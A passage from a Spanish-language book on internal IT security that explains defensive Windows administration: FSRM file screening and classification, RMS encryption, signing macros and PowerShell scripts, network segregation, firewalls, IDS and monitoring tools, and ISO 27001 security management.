La segunda parte de los permisos de una carpeta compartida son los de NTFS. Aquí, se le plantea otra pregunta: ¿necesita el usuario del permiso de ejecución en esta carpeta?

Por defecto, cuando un usuario abre una carpeta compartida, verá todas las carpetas incluidas a las que no tiene acceso. Para impedir que todos vean estas carpetas, puede, desde la consola de gestión de las carpetas compartidas, activar la función ABE (Access-based enumeration). El usuario solo verá, en la carpeta compartida, las carpetas a las que puede acceder. Para configurar ABE, vaya a la consola de gestión de ficheros y carpetas compartidas. Haga clic en Share y vaya a las propiedades de la carpeta com-partida.

El usuario solo verá entonces las carpetas a las cuales tiene permiso para acceder.

d. La gestión de ficheros con FSRM

FSRM (File Server Resource Manager) es una herramienta disponible desde Windows 2003 R2. Este componente hace posible una mejor gestión del contenido de los servidores de ficheros. Permite, entre otras cosas, filtrar lo que contendrá una carpeta, la creación de cuotas por usuario y por carpeta o también el análisis por tipo de documento para todo un disco o solo una carpeta determinada. Permite añadir acciones cuando un usuario infringe una regla definida. Para instalarlo, añada el rol File Server Resource Manager en la gestión de ficheros.

Una vez instalado el rol, puede usarlo directamente en la gestión de ficheros y carpetas compartidas en Windows Server 2012 para aplicar cuotas de disco, pero para el resto de las configuraciones debe usar una consola dedicada. Abra la consola FSRM y acceda al menú Acción - Configurar Opciones y, desde allí, configure los parámetros del servidor SMTP para el envío de correos electrónicos de aviso en la pestañaNotificaciones de correo elec-trónico, las carpetas para el almacenamiento de los informes en la pestaña Ubicaciones de informes y la planificación de la clasificación en la pestaña Clasificación automática.

Una vez definida esta configuración, podrá activar el filtrado de ficheros, así como la auditoría de los ficheros presentes en las carpetas.

Cuando crea un nuevo filtro, este se basa en un modelo. Este último utiliza grupos de ficheros que debe bloquear. Todo esto es configurable mediante la consola de administración. Para añadir un filtro, acceda al menú Crear filtro de archivo, dele la ruta del directorio que debe vigilar, marque la opción Definir propiedades personalizadas del filtro de archivos y pulse el botón Propiedades personalizadas. Elija el modo pasivo, así como el tipo de fichero ejecutable. En la segunda pestaña, indique su dirección de correo electrónico, así como el texto que desea recibir en caso de que un usuario infrinja la regla. En la pestaña siguiente, puede configurar el almacenamiento del evento en los logs de Windows.

Pulse el botón Aceptar y guarde el cambio como un modelo. Podrá reutilizarlo para otro directorio.

Una vez realizado el cambio, en cuanto un usuario copie un fichero con una extensión Exe en el directorio, recibirá un correo electrónico que le indicará quién lo ha hecho y cuándo.

El modo activo, en relación con el pasivo, bloquea al usuario al añadir el fichero. El problema es que solo le basta con cambiar la extensión para que pueda copiar el fichero. Por lo tanto, es mejor no avisarle directamente para así vigilar su comportamiento de una forma un poco más indirecta.

En la siguiente imagen, se puede ver un ejemplo de un evento de Windows al añadir un fichero ejecutable en el directorio.

Con este método, es bastante sencillo vigilar las posibles tendencias peligrosas de un usuario en un servidor de ficheros. Puede, si así lo desea, usar la pestaña Command para definir un script de borrado cuando se detecta un fichero prohibido.

e. La clasificación de ficheros

En Windows Server 2012, podrá definir como «aplicación» o «ficheros de usuarios», el tipo de una carpeta compartida al configurarla. Podrá también, con la ayuda de la consola FSRM, añadir propiedades de los ficheros y los directorios contenidos en un directorio específico. El objetivo de esta clasificación es definir lo que es importante y sobre todo definir después las acciones, como el borrado, el archivado o el cifrado de estos ficheros clasificados. Para configurar el tipo de carpeta compartida, abra la consola de gestión de ficheros y carpetas compartidas (desde la consola de gestión del servidor). Vaya a las propiedades de las carpetas compartidas.

Puede definir también una dirección de correo, que será utilizada por FSRM si activa la opción de petición de asistencia. Dicha opción permite a un usuario solicitar acceso por correo electrónico cuando no tiene acceso a una carpeta compartida.

Antes de poder añadir un regla de clasificación, debe definir propiedades, también llamadas metadatos. Para ello, vaya al menú Classification Management - Classification Properties y, desde el menú de la izquierda, pulse Create Local Classification Property. Podrá elegir entre varios tipos de propiedades: •

Sí/No



Una fecha/hora



Un número



Elección múltiple (entre varias opciones)



Elección sencilla (entre varias opciones)



Una lista de valores clasificados



Una línea de texto



Varias líneas de texto

En nuestro caso, vamos a escoger, para el ejemplo, «Elección sencilla». Dé un nombre en el campo Name y elija Single Choice. Añada tres valores y sus descripciones. Por ejemplo, Confidencial, Interno, Público.

Una vez la propiedad definida, debe aplicar la propiedad Confidencial a los documentos confidenciales y así para las demás clasificaciones. Para ello, debe haber definido ya a qué clasificación pertenece cada documento usando el procedimiento explicado en el capítulo La gestión de los sistemas de información.

Las propiedades son compatibles con SharePoint 2012/2013. Puede copiar un documento así etiquetado en una carpeta compartida por SharePoint. Será reconocido con sus propiedades si estas se encuentran configuradas en el servidor.

Desde un punto de vista técnico, crearemos una regla que aplicará la propiedad confidencial a todos los ficheros que contengan la palabra «contrato». Para ello, acceda al menú Reglas de clasificación - Crear regla de clasificación.

Dé un nombre a la regla y, en la segunda pestaña, dé la ruta de las carpetas, así como el tipo de carpeta compartida que hay que analizar. En la pestaña Clasificación, elija Content Classifier (Classification por contenido) y pulse el botónConfigurar.

La ventana que aparece permite definir reglas para detectar los ficheros que se deben clasificar. Cada regla debe dar un resultado de verdadero para que el fichero sea clasificado. Elija el tipo Cadena y como expresión, contrato.

Ahora debe activar la detección para clasificar sus documentos en el menú Reglas de clasificación - Ejecutar clasificación con todas las reglas ahora....

Cuando un fichero contiene la palabra «contrato», con minúsculas o mayúsculas, un informe mostrará los nombres de estos ficheros. En el mismo fichero, la propiedad se definirá automáticamente.

También puede definir estas propiedades manualmente, pero no resulta eficaz. Los usuarios de sus equipos ya tienen muchas tareas por hacer y deben concentrarse en sus funciones. No les gusta, en general, tener que añadir propiedades a sus documentos. Esta herramienta realiza tareas de gestión por ellos mucho mejor de lo que ellos lo podrían hacer, siempre y cuando las reglas de clasificación estén bien definidas.

Para clasificar un fichero de Microsoft Office, debe instalar Microsoft Office Filter Pack en el servidor de ficheros. Puede clasificar también los ficheros de imagen con la ayuda de un OCR instalando la función Windows TIFF IFilter en el servidor. Se pueden clasificar los ficheros PDF usando un ifilter compatible que hay que buscar en el sitio web de Adobe.

Un ifilter es un módulo usado por Microsoft para poder reconocer e indexar el texto incluido en ciertos tipos de ficheros. Sin estos añadidos, Windows no podrá reconocer automáticamente el texto de una imagen o de un fichero PDF, aunque este pueda leerse y seleccionarse abriendo el fichero.

La planificación de la clasificación debe activarse en las opciones principales para que los ficheros añadidos sucesivamente sean detectados y clasificados de forma automática.

f. Microsoft RMS (Rights Management Services)

Como habrá observado en este libro, no es fácil proteger un fichero contra el robo, sobre todo si la persona que lo roba es un empleado de nuestra empresa. Para paliar este problema, Microsoft propone una funcionalidad llamada RMS (Rights Management Services). Este rol permite cifrar un documento y bloquear funciones como imprimir, adjuntarlo en un correo electrónico, editarlo o simplemente abrirlo. Para la apertura del documento así protegido, el usuario necesita conectarse al servidor RMS para obtener permisos temporales. Estos pueden ser revocados en cualquier momento. El fichero está siempre cifrado, aunque se envíe por correo electrónico, se copie en una partición FAT32 o se envíe a un servidor web, no como con EFS. Por lo tanto, un fichero así cifrado que fuese objeto de robo solo podrá ser abierto por las personas realmente autorizadas. Antes de empezar, añada un nuevo usuario en el dominio que usaremos para crear las reglas en el RMS. El usuario no debe pertenecer a ningún grupo en particular.

Siendo RMS un rol, basta con añadir Active Directory Rights Management Services a uno de nuestros servidores.

La configuración necesita seguir la instalación del rol después del reinicio. Cree un nuevo clúster. Configure la ruta de la base de datos que se ha de utilizar o elija instalar Windows Internal Database si solo instala un servidor RMS. Indique el nombre y la contraseña del usuario RMS creado antes de la instalación. Haga clic dos veces en Next hasta la definición de la contraseña del clúster RMS. Pulse de nuevo Next hasta la definición de la dirección web. Pulse Next hasta el final.

La instalación no es muy compleja. Sin embargo, asegúrese de cuidar muy bien (backup, snapshots, etc.) este servidor. No podrá abrir sus ficheros si este no estuviese disponible.

Ahora queda configurar las reglas de seguridad que deseamos proponer. Abra una sesión en el servidor con el usuario RMS que ha creado y configurado en la instalación. Abra la consola de gestión de RMS y conéctese a la dirección definida en la instalación. Acceda al menú Rights Policy Templates - Create Distributed Rights Policy Template. Añada un modelo en español, dé un nombre y una descripción.

Defina las personas que tendrán necesidad de acceso a los ficheros confidenciales y los permisos de acceso.

RMS se basa en las direcciones de correo electrónico de los usuarios. Deben, por lo tanto, configurarse en el Active Directory y esto aunque no utilice Microsoft Exchange. No indique una fecha de expiración. Active la posibilidad de ver el contenido desde un navegador. Active la solicitud de un nuevo certificado en cada inicio.

Finalice la configuración.

Ahora queda automatizar la protección de los ficheros confidenciales. Para ello basta con usar la clasificación de ficheros de FSRM y añadirle una acción de gestión. Imagine que los ficheros ya están clasificados, como hemos visto en el apartado anterior; solo queda automatizar el cifrado. Para ello, abra la consola FSRM y acceda al menú Create File Management Task. Dé un nombre y vaya a la pestaña siguiente para definir la ruta y, si es preciso, el tipo de carpeta compartida. En Actions, elija la acción RMS encryption y el modelo Confidencial. En Condition, añada la propiedad creada al configurar la clasificación.

Acceda a la pestaña siguiente para planificar el cifrado de documentos. Pulse OK. Haga clic con el botón derecho del ratón en la tarea para arrancarla inmediatamente.

Una vez la tarea terminada, el documento se cifrará con las reglas configuradas en el servidor RMS. Si un usuario no autorizado roba este documento, no podrá abrirlo. Si un usuario con permisos para mostrar el contenido copia el documento, ya no podrá abrirlo fuera de la empresa si el servidor RMS no se publica. Además, no podrá abrirlo si su cuenta es desactivada en Active Directory. El objetivo de este sistema es limitar los accesos no autorizados a los documentos importantes.

9. Firmar las macros VBA y los scripts PowerShell

Las macros y los scripts PowerShell pueden ser muy peligrosos cuando no se utilizan para ayudar al usuario. Un buen medio para reducir el riesgo de fraude al usar un documento con scripts o un script PowerShell es firmarlos con un certificado. Cada modificación realizada por una persona que no sea capaz de firmar el fichero inutilizará este último.

a. Solicitar un certificado

Una vez instalada y configurada la autoridad de certificación, puede solicitar un certificado del tipo Code Signing (Firma de código). Este modelo debe haber sido activado en la autoridad de certificación para que se pueda solicitar un certificado. Abra la consola MMC.exe y añada el componente Certificados. Elija el almacén de usuario. Acceda a la carpeta Personal y cree una nueva solicitud de certificado por el menú Acciones. Pulse en Siguiente. Elija el modelo de tipo firma de código. Finalice la solicitud.

Ahora dispone de un nuevo certificado de firma de código a su nombre en su almacén de certificados personales. Puede abrirlo para ver sus propiedades.

b. Firmar una macro VBA

Con el fin de garantizar que las macros VBA no sean peligrosas, tiene que hacer validar el código fuente por un desarrollador de confianza y firmar el código usando el certificado. Después autorice únicamente, en la configuración de Office, la ejecución de macros firmadas. Para firmar una macro, acceda a la pestaña Programador. Pulse en el botón Visual Basic. En la nueva ventana, en el menú Herramientas - Firma electrónica.... Elija el certificado de firma de código y haga clic en Aceptar. Guarde la macro y el documento.

El código está ahora firmado y un poco más protegido.

c. Firmar un script PowerShell

Para firmar un script PowerShell, igual que para la firma de código VBA, debe disponer de un certificado de firma de código reconocido por los sistemas operativos que ejecutarán su script. Cuando haya finalizado las pruebas de sus scripts, podrá firmarlos con el fin de autorizar solamente los scripts Power-Shell firmados.

Para ver los certificados de firma de código a su disposición:

Get-ChildItem cert:\CurrentUser\My -codesign La salida muestra el certificado o los certificados capaces de firmar código:

Directorio : Microsoft.PowerShell.Security\Certificate::CurrentUser\My

Thumbprint ----------

Subject -------

90C856875331881F1F97E9DBE8C8636CE8B79FDA CN=Administrator, CN=Users, DC=test, DC=local

Para firmar el código, utilice de código que le interese.

set-authenticodeSignature usando como parámetro el certificado de firma

Set-AuthenticodeSignature c:\temp\script.ps1 @(Get-ChildItem cert:\CurrentUser\My -codesigning)[0]

Entonces se firmará el código:

Directorio : C:\temp

SignerCertificate -----------------

Status ------

Path

----

90C856875331881F1F97E9DBE8C8636CE8B79FDA Valid

script.ps1

La firma aparece en texto plano en el código fuente del script:

Get-ChildItem c:\

Si

# SIG # Begin signature block # MIIIPwYJKoZIhvcNAQcCoIIIMCCCwCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # jcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR # gEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUX39TDHu2EGra9oFuWdA4diRV # JWgggWgMIIFnDCCBISgAwIBAgITHAAAAAoN+MaMc5TBWQAAAAAACjANBgkqhkiG # w0BAQUFADBRMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZ # gZLYXBmZXIxIDAeBgNVBAMTF1NlY3VyaXR5IEZvbmRhdGlvbiAtIENBMB4XDTEz ........ ........ # gPSrDNvwp1E37HWYro8tg5zDeSVH82Pc52Mfe2OxJl3QmjSq2KgtyFpNqTLryMF # CZuo # SIG # End signature block un usuario modifica el script, la firma ya no será válida.

d. Autorizar la ejecución de objetos firmados

Para garantizar que PowerShell solo ejecuta los scripts firmados, debe indicar los parámetros adecuados. Por defecto, el modo es Restricted, que no autoriza la ejecución de scripts. Sin embargo, la mayoría de los administradores cambian este modo para poder utilizar ficheros de script y pasan PowerShell al modo Unrestricted, que autoriza la libre utilización de ficheros de script PowerShell sin seguridad alguna. Para garantizar la no modificación de scripts distribuidos, solo dejaremos, después de firmar el código, que se ejecuten los scripts firmados.

Modifique la seguridad de PowerShell de la siguiente manera:

Set-ExecutionPolicy AllSigned De este modo, sus ficheros de script quedarán protegidos contra la modificación.

La ejecución de PowerShell con un comando como parámetro (por ejemplo, powershell.exe "getchilditem"), funcionará siempre con o sin firma; no se considera un script, sino un comando directo.

Una macro VBA en un documento es tan potente como un ejecutable. Es muy importante tener conciencia de ello. Esto significa que una macro puede, entre otras cosas, modificar las cuentas de usuarios locales o de dominio, modificar el registro, crear, modificar, copiar o eliminar ficheros, conectarse a la red, a Internet... Algunos departamentos, como el financiero, son entusiastas de este tipo de herramientas. Conviene, por lo tanto, dejar que los usuarios utilicen las macros, pero con ciertas precauciones.

Con objeto de garantizar la seguridad de los usuarios, puede definir una política de grupo para autorizar solamente macros de Office firmadas. Debe para ello descargar e instalar los ficheros ADM que le permiten configurar Microsoft Office a través de las políticas de grupo.

Encontrará los ficheros necesarios, así como otras herramientas para la gestión y configuración de Microsoft Office, en el sitio web de Microsoft: http://www.microsoft.com/en-us/download/details.aspx?id=35554

Instale los ficheros ADMX y después: Abra el editor de políticas de grupo y cree una nueva GPO. Acceda a Configuración de usuario - Modelos de administración. Después vaya al programa que desea configurar, por ejemplo Microsoft Word 2013 - Opciones de Word Seguridad - Centro de confianza. Active la opción Parámetros de notificación de macro VBA con la propiedad Desactivar todo excepto las macros firmadas.

El usuario final solo será avisado cuando una macro esté firmada; si no la macro no se ejecutará y el usuario no será avisado, lo que garantiza una buena seguridad permitiendo la ejecución de macros.

10. Herramientas de auditoría y de seguridad de Microsoft

Microsoft realiza enormes esfuerzos para garantizar la seguridad de sus sistemas operativos. Sin embargo, uno de los riesgos más importantes en un entorno Windows, ya no son los fallos de seguridad de servidores o de equipos de trabajo, sino la configuración. A veces es increíble ver cuentas de usuarios en el grupo de administradores para simplificar el uso de un programa o la gestión de un parque informático, o, más comúnmente, ver cuentas de prueba olvidadas en un servidor o también una cuenta SA sin contraseña fuerte en una base de datos SQL.

La cuenta SA en un servidor SQL representa lo mismo que la cuenta administrador en un PC. Permite modificarlo todo en una instancia o un servidor SQL.

a. Herramientas de auditoría

Siguiendo las buenas prácticas recomendadas por Microsoft y teniendo sus sistemas actualizados, el riesgo disminuye en gran medida. Es por eso por lo que Microsoft pone a su disposición una herramienta potente de análisis de sistemas. Esta herramienta es capaz de ver los principales problemas de configuración y actualización ligados con la seguridad de los sistemas, pero también de las aplicaciones de servidores como Exchange, SQL Server e IIS y de aplicaciones de usuario, como Microsoft Office.

Puede descargarla en: http://www.microsoft.com/mbsa

El programa se puede utilizar con una interfaz gráfica o en línea de comandos. Es posible, por lo tanto, crear un script para obtener regular y automáticamente informes de seguridad.

Para realizar un análisis, puede dar un nombre de dominio o una serie de direcciones IP:

Una vez realizado el análisis, el informe proporciona datos sobre los equipos mal configurados e indicaciones de cómo corregir el problema detectado.

Otra herramienta permite la auditoría de servicios en funcionamiento en un equipo. Se trata de PortQry, que ya ha sido descrito en el capítulo Búsqueda de información.

b. Herramientas de seguridad

Microsoft propone también una serie de productos de seguridad. Las últimas versiones de Windows integran Windows Defender en su versión completa y gratuita, con antivirus y antimalware. Una pequeña empresa puede descargar y usar este programa gratuitamente en todos sus sistemas; y ahora dispone también de versión para servidores. En el caso de una empresa más grande o compleja, existe la suite Forefront, que permite centralizar la gestión del antivirus y antimalware, pero también permite aumentar la seguridad, ya que existen versiones para aplicaciones de servidores como Exchange y SharePoint.

Desde principios de 2013, Microsoft proponía un servidor proxy y proxy inverso, conocido con el nombre de TMG o ISA para las versiones más antiguas. Por desgracia, este producto ya no se comercializa. Queda, para los que lo desean, un producto similar que sin embargo no recoge todas las funcionalidades de TMG. Se trata de UAG (Unified Access Gateway).

Microsoft crea numerosas herramientas de gestión de parques informáticos, de servidores, de máquinas virtuales, de despliegue o actualización de sistemas operativos como SCOM, SCCM y muchos otros. Se alejan del objetivo de este libro, ya que son de pago y no se encuentran directamente integrados. Además, cada uno de ellos merecería su propio libro.

Otros medios 1. La disociación

Para reducir las tentativas conseguidas de ataques, puede, en términos físicos, separar las redes de los usuarios de las de los servidores, y por qué no, de las de los servidores aún más importantes. Podrá, a través de esta separación, poner en marcha un cortafuegos o reglas de acceso directamente en los repetidores. Acuérdese también de poner switchs dedicados si esto aumenta la seguridad.

a. Disociaciones de redes físicas

Para crear separaciones físicas, puede trabajar con routers y cortafuegos. El objetivo es impedir que ciertos equipos o usuarios puedan conectarse a los servicios sensibles, como las cuentas financieras o los documentos de recursos humanos.

Por lo tanto, en este caso, es importante definir adecuadamente las reglas de enrutamiento y de los cortafuegos, para garantizar la seguridad, pero también para estar seguro de que todas las aplicaciones comunes (Mail, Lync, carpetas compartidas, intranet, etc.), así como las aplicaciones propias a las funciones de cada uno funcionen correctamente.

b. Uso de VLAN

Para evitar tener una infraestructura demasiado costosa, no es raro que se use VLAN (Virtual LAN) para proteger y separar entornos dedicados. Sin embargo, tenga cuidado con el funcionamiento de sus conmutadores si sufriesen un ataque de tipo flood. En la mayoría de los casos, cuando el switch sobrepasa sus límites, se transforma en un hub o define todos sus puertos con la VLAN por defecto, generalmente la VLAN 1. Todos los equipos pueden entonces comunicarse entre ellos sin ninguna restricción.

Aun con este riesgo, las VLAN son una forma fiable y poco costosa de configurar una separación de entornos.

Para configurar una VLAN determinada en una máquina virtual Hyper-V, puede crear un nuevo switch con la VLAN deseada y atribuir sus puertos a las máquinas virtuales en los parámetros de la interfaz de red y atribuirlo a la máquina virtual en cuestión.

c. Antivirus

Del lado cliente, puede desde ya instalar un número de herramientas para protegerse, pero también para tener un informe de la tendencia general de la empresa en cuanto a virus, spyware o tentativas de intrusión. El mercado está inundado de programas antivirus y de cortafuegos gratuitos. Lo más duro no es encontrar uno adecuado, sino conseguir uno que sea fiable, gratuito o no. Windows Defender cubre alrededor del 95% de los ataques potenciales. Si elije otro producto, asegúrese de que le protege como mínimo igual de bien.

Encontrará una prueba comparativa comparatives.org/dynamic-tests/

de

antivirus

en

la

siguiente

página: http://www.av-

Para la empresa, tome también en cuenta la facilidad de despliegue y de mantenimiento del producto.

d. Software cortafuegos

Windows integra un programa cortafuegos desde Windows XP SP2, pero fue a partir de Windows Vista cuando realmente comenzó a ser interesante. Permite controlar el tráfico entrante y saliente. Además, gracias a las políticas de grupo, se pueden configurar las reglas de gestión de forma centralizada. No obstante, puede encontrar otros productos en el mercado. Muchas veces están ligados a soluciones de protección más globales de los endpoints (protección de clientes finales), como los antivirus con cortafuegos y la protección contra software malintencionado.

Este tipo de soluciones de software puede, en algunas ocasiones, utilizarse para proteger toda una red actuando de cortafuegos perimetral. En este caso, deberá tener mucho cuidado de verificar la calidad del producto, pero también la seguridad del sistema operativo en el que se encuentra instalado.

e. Cortafuegos físico

Un cortafuegos físico es ni más ni menos que un software instalado en un sistema operativo dedicado y todo ello con un hardware generalmente dedicado. El hecho de que el sistema operativo y el hardware sean dedicados a la función única de cortafuegos hace que, en general, el conjunto sea más fiable y seguro. También es cierto que el sistema operativo IPSO, o más recientemente GAiA de CheckPoint y Junos de Juniper Networks, están más adaptados a esta función que un sistema operativo polivalente.

Al elegir un cortafuegos, tenga en cuenta lo que está por defecto y lo que está como opción, como la activación de un IPS o también la consola de gestión centralizada si dispone de varios cortafuegos. Algunos fabricantes complican enormemente sus ofertas con sistemas de licencia incomprensibles. Se arriesga a encontrarse con un producto que realiza la mitad de lo que necesita por el doble del precio inicial.

En cuanto a la calidad y seguridad, existen organismos certificados para estos productos que le dan acceso al informe de pruebas. Sin embargo, esto no garantiza la inviolabilidad del cortafuegos o un mejor análisis de un nuevo ataque que de otro.

Esta es la dirección web del ICSA, un cortafuegos:https://www.icsalabs.com/technology-program/firewalls

organismo

de

certificación

de

Es evidente que la protección de un centro de datos de un proveedor de telecomunicaciones y la protección de un equipo de una panadería no necesitan el mismo nivel de seguridad, simplemente porque no están sometidos a los mismos riesgos tanto en el número como en el tipo de ataques. Por lo tanto, aparte del precio, conviene elegir un cortafuegos que corresponda a lo que realmente necesita para reducir los riesgos, y no un equipo multiusos.

2. Herramientas de monitoring y de vigilancia

Una vez los sistemas instalados y la red funcional, queda la parte operativa, es decir, la vigilancia y el mantenimiento de los elementos necesarios para la seguridad y el buen funcionamiento del trabajo de los departamentos. Para ello, existen en el mercado aplicaciones inteligentes capaces de ayudar a los administradores en su trabajo diario, como los IDS e IPS para la detección de ataques y los sistemas de monitoring para la detección y gestión de incidentes en el funcionamiento.

a. IDS e IPS

Los IDS e IPS, los sistemas de detección de intrusión y los sistemas de detección y prevención de intrusión, u otras herramientas de análisis de las tramas de red en tiempo real, pueden permitir reducir las tentativas conseguidas de ataques. Este tipo de capacidades está ligado muchas veces a un cortafuegos, como los de CheckPoint, Fortinet, Juniper y otros. Existen programas con las mismas capacidades, como uno de los más conocidos, Snort, que se puede instalar en un sistema Windows.

Encontrará Snort en la siguiente dirección: http://www.snort.org/downloads

Los IDS e IPS pueden ser de tipo pasivo o activo. Esto depende si es únicamente capaz de alertar al detectar un ataque o si dispone de la capacidad de reacción para bloquear el ataque.

La calidad de un IDS se mide por su capacidad de detectar las intrusiones, pero también por su capacidad de dejar pasar el tráfico válido sin ralentización ni bloqueo. Debe ser complementario al cortafuegos y, en la medida de lo posible, bloquear inmediatamente el ataque. La detección se basa generalmente en las firmas de los paquetes o en la búsqueda de anomalías en el protocolo o en los paquetes de una comunicación entre un origen y un destino.

Este tipo de protección es muy potente, pero necesita muchas veces de un esfuerzo considerable en la configuración para alcanzar un alto nivel de fiabilidad de detección. Además, existen medios para evitar los IDS e IPS.

b. Vigilancia de los sistemas y los elementos de seguridad

Herramientas como Microsoft SCOM (System Center Operation Manager), Nagios u otros permiten la vigilancia de servidores y en general del entorno de trabajo. Estas herramientas son importantes si no desea analizar en cada servidor y cada elemento de red los logs de eventos. Estos logs suelen estar centralizados gracias a programas de gestión de logs. Después lo habitual es que la información se resuma en paneles de control configurables.

La mayor parte de estos programas de monitoring le informan en tiempo real si un servicio está parado o si un objeto es modificado. Algunos van más allá dándole la posibilidad de configurar acciones cuando ocurre un problema. El sistema es entonces proactivo y puede responder automáticamente a estos problemas.

Algunas herramientas son de pago, otras son gratuitas, con o sin limitaciones. Aquí le dejamos una lista de programas gratuitos con más o menos funcionalidades o limitaciones; cualquiera de ellos debería bastar para cubrir las necesidades de una pyme:

PRTG Network Monitor: http://www.es.paessler.com/prtg

Total Network Monitor: http://www.softinventive.com/products/total-network-monitor/

Nagios: http://www.nagios.org/products

Para las empresas grandes, los grandes fabricantes como Microsoft, HP, IBM, etc., proponen una solución de monitoring más o menos interesante. Le corresponde a usted encontrar la aplicación que se adapte mejor a sus necesidades.

3. Herramientas de auditoría y de prueba de vulnerabilidades

Como habrá entendido, MBSA y PortQry están bien, pero no son suficientes para analizar correctamente el estado de la seguridad en su empresa. MBSA es gratuito y da consejos valiosos sobre las configuraciones que es preciso

adoptar para aumentar la calidad de la seguridad en entornos Windows. Por desgracia, este programa no gestiona todos los problemas ligados a la vulnerabilidad de los sistemas. En efecto, las aplicaciones de servidores y clientes no giran únicamente en torno al mundo de Microsoft. Debe poder analizar y remediar los posibles fallos de seguridad de otras aplicaciones o servidores.

a. Programas personales

En las versiones personales, aparte de los antivirus, antimalware y cortafuegos ya enunciados, existe otro tipo de herramienta particular que puede instalar y usar en su ordenador personal. La herramienta gratuita Secunia PSI (Personal Software Inspector) le informa de si sus aplicaciones están actualizadas y, si no lo están, le propone actualizarlas.

Encontrará esta herramienta en la siguiente dirección:http://secunia.com/vulnerability_scanning/personal/

Una herramienta de este tipo le permite saber qué aplicaciones tienen que actualizarse entregándole un informe de auditoría de las aplicaciones que no están actualizadas a la última versión. Podrá seguir así las últimas novedades de sus programas y sobre todo las últimas actualizaciones de seguridad dispo-nibles.

b. Programas de empresa

Desde el punto de vista de la empresa y por lo tanto desde un punto de vista más global, existen numerosas ofertas en el mercado de la auditoría y prueba de vulnerabilidades. Ya hemos hablado en este libro de Nessus, uno de los más conocidos en este dominio.

Pero existen muchos más, como: •

Secunia Corporate Software Inspector (CSI)



eEye Retina Network Security Scanner



GFI LANguard



IBM Internet Scanner



McAfee Vulnerability Manager



SAINTscanner



OpenVAS (gratuito)

Todos estos programas escanean su red y le entregan un informa de las vulnerabilidades encontradas. algunos son, además, capaces de gestionar la actualización (Patch Management), incluidos los productos que no son de Microsoft.

Los retos de la gestión Como habrá observado, las técnicas propuestas le permiten atacar o ser atacado, ya sea usted administrador de un dominio o un simple usuario de un equipo. Si resumimos la seguridad en tratar de encontrar una solución técnica a este tipo de ataques, la guerra estará perdida de antemano. La técnica solo dará soluciones que ralenticen el ataque o que reduzcan el riesgo, pero no tiene en cuenta todas las variables. Además, es imposible imponer soluciones técnicas aunque sean eficaces si no se integran correctamente el trabajo diario de los empleados. La gestión de los SI (sistemas de información) aporta una solución adaptada a la empresa teniendo en cuenta los riesgos reales. Permite dar una respuesta global a la seguridad y no únicamente una solución hecha de configuraciones y despliegue de programas. La instalación de una solución de seguridad debe encuadrarse en un concepto global y la demanda debe venir de los empleados o de la dirección. El departamento informático debe estar presente para dar soluciones técnicas aceptables a una petición del responsable de seguridad, pero no debe forzar la integración o configuración de soluciones en detrimento del funcionamiento de la empresa. La gestión toma en cuenta los aspectos legales y financieros y participa en la creación del valor añadido de la empresa. Los objetivos del SI deben definirse de acuerdo con los objetivos de la empresa. Tiene como reto crear el marco global basándose en normas y buenas prácticas y dando a la empresa medios, procedimientos, mejoras en los procedimientos y claves para aumentar la seguridad. El análisis de fallos de seguridad de los sistemas y de las aplicaciones solo representa una ínfima parte de la gestión. Para proteger una empresa se debe considerar la seguridad desde un punto de vista global.

El impacto y las consecuencias del internal hacking en la gestión El éxito de la puesta en marcha de un SGSI está estrechamente ligado a la coherencia entre los objetivos y estrategia de la seguridad y los de la empresa. La gestión de la seguridad de la información debe tener el apoyo de la dirección y debe tener en cuenta las exigencias y los riesgos recogidos al evaluar y al gestionar. La comunicación, la sensibilización, la formación y la difusión de las líneas directrices son herramientas importantes en la gestión. Debe integrarlas en el despliegue de su sistema de gestión de la seguridad. El internal hacking es un aspecto que no siempre se tiene en cuenta en la gestión. Muchas veces, los responsables de la seguridad eligen proteger únicamente lo relacionado con el exterior de la empresa para impedir que un atacante acceda a la red interna. Esta elección se efectúa muchas veces para reducir los costes de la seguridad y para simplificar la administración de esta a nivel interno. Pero ¿qué pasa si el lobo ya se encuentra dentro del redil? Una solución de seguridad a nivel interno implica obligatoriamente un impacto en el trabajo diario, ya que la solución debe proteger cada usuario, pero también impedirle cometer acciones peligrosas para la empresa. La mayoría de las técnicas vistas en este libro permiten ataques, aunque el equipo esté protegido. Se trata, por lo tanto, de responder a este tipo de técnicas no con la ayuda de un programa, sino con procedimientos y formación de los usuarios. Debe revisar su análisis de riesgos y añadir los nuevos riesgos detectados. Piense en los distintos medios que pueden utilizarse para dar una solución que reducirá lo mejor posible el impacto de estos riesgos o la eventualidad de que aparezcan. La seguridad siempre ha tenido un coste directo e indirecto. Los costes directos son las licencias de uso, la instalación, la configuración y el mantenimiento de las soluciones de seguridad, como los cortafuegos, los antivirus y otras soluciones similares, así como la restauración y reparación de posibles incidentes. Los costes indirectos son la pérdida de funcionalidad o la pesadez de ciertos procedimientos para garantizar la seguridad. El desempeño de las tareas de los empleados puede verse fuertemente impactado por procedimientos que ralenticen su trabajo o programas invasivos que complican la puesta en marcha de una tarea. Estos costes no son fáciles de cuantificar. Sin embargo, están presentes en cuanto se trata de aumentar la seguridad interna de una empresa. Debe inevitablemente tomar en consideración estos parámetros al analizar la implementación de una nueva solución o de un nuevo procedimiento de seguridad. Tómese el tiempo de realizar un análisis del impacto en el desempeño de la labor diaria. Un análisis de riesgos no es suficiente.

Unas buenas prácticas que nos pueden ayudar 1. Norma o buenas prácticas

Existen multitud de normas y buenas prácticas. Una norma tiene como objetivo certificar un sistema de información, un procedimiento o una persona. Las buenas prácticas tienen como objetivo dar directrices para poner en marcha el SI y los procedimientos conexos, permitiendo al que las implementa una idea clara, práctica y completa del SI. Las normas más comunes, en lo que concierne a la seguridad informática, son las definidas por ISO/IEC, como la norma 27001, que permite la puesta en marcha de un SGSI (sistema de gestión de la seguridad informática). Esta norma anima a realizar un acercamiento por procedimientos para poner en marcha el funcionamiento, la vigilancia, la revisión y la actualización del sistema de gestión de la seguridad de los sistemas de información. Se basa en PDCA (Plan, Do, Check, Act - Planificar, Desplegar, Controlar, Actuar), también llamado «la rueda de Deming». Este principio aplica a todos los procedimientos del SGSI. La norma 27001 está alineada con las normas ISO 9002:2000 e ISO 14001:2004 para que el sistema de gestión sea coherente en toda la empresa.

